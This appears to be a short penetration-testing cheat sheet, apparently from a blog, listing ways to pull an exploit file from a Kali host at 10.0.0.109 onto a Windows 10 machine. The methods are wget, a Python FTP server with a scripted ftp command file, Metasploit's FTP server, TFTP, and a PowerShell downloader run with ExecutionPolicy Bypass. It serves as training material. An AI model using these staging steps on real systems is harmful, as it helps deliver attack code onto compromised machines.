File transfer type:

1. HTTP

Transfer files through the website.

2.wget

wget http://10.0.0.109/exploit.php

3.FTP

python FTP

(1)Install python FTP on the Kali Linux.

pip3 install pyftpdlib

(2)Move to the target folder, and start the FTP service.

python3 -m pyftpdlib -p 

(3)Login the ftp service on Windows 10 anonymously.

(4) Get the file form FTP server.

(5)Exit FTP service.

We can also save the shellcode to txt file.

(1) Execute the following commands to make the ftp command file.

echo open 10.0.0.109 > ftp.txt

echo anonymous>> ftp.txt

echo pass>>ftp.txt

echo binary>> ftp.txt

echo get exploit.php >> ftp.txt

echo bye >> ftp.txt

(2) Get the files from the FTP server.

ftp -s:ftp.txt

4.Metasploit

(1) Start the metasploit.

(2) Initiate the FTP service,.

use auxiliary/server/ftp

show options

exploit

(3) Stop the FTP service.

5.TFTP

(1)Start the TFTP service on Kali Linux.

atftpd --daemon --port  /var/www/html

(2) Get the file from tftp server.

tftp -i 10.0.0.109 get exploit.php

6.Powershell

(1) Make the powershell file to get the file form Kali server.

echo $storage = $pwd > get.ps1

echo $webclient = New-Object System.Net.Webclient >> get.ps1

echo $url = "http://10.0.0.109/exploit.php" >> get.ps1

echo $file = "exploit.php" >> get.ps1

echo $webclient.DownloadFile($url,$file) >> get.ps1

(2)Execute the powershell code.

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1

最新文章

  1. XML的一些事
  2. 删除txt文件每行第一(n)个空格前内容的方法
  3. java中自动装箱的问题
  4. 关于在Eclipse中运行java程序报出:The project:XXXX which is referenced by the classpath10
  5. python3下的paramiko 安装
  6. GraphX的三大图算法
  7. 【Android】记录反编译安卓程序步骤
  8. P31、面试题2:实现Singleton模式
  9. [改善Java代码]在switch的default代码块中增加AssertionError错误
  10. CKedit在线编辑器
  11. 存储过程&Function
  12. python手记(30)
  13. 基于jq插件开发及弹窗实例
  14. JQuery DOM HighLighter (it's a basic "Inspect element" simple implementation to mimic what webkit inspector and firebug do)
  15. Java基础知识拾遗(一)
  16. Motion control encoder extrapolation
  17. GIT入门笔记(1)- Git的基本概念
  18. avuex
  19. python安装setup.py问题
  20. 如何删除node_modules

热门文章

  1. JavaSE之流程控制结构
  2. 菜渣开源一个基于 EMIT 的 AOP 库(.NET Core)
  3. 什么了解suite集合实现
  4. docker安装mysql,设置mysql初始密码
  5. CODING DevOps 系列第五课:微服务测试——微服务下展开体系化的微服务测试
  6. SSM登录拦截验证
  7. list 迭代器的用法
  8. 搭建nginx服务器nginx-1.6.2.tar.gz
  9. nginx使用热部署添加新模块
  10. return zero,or ,return non-zero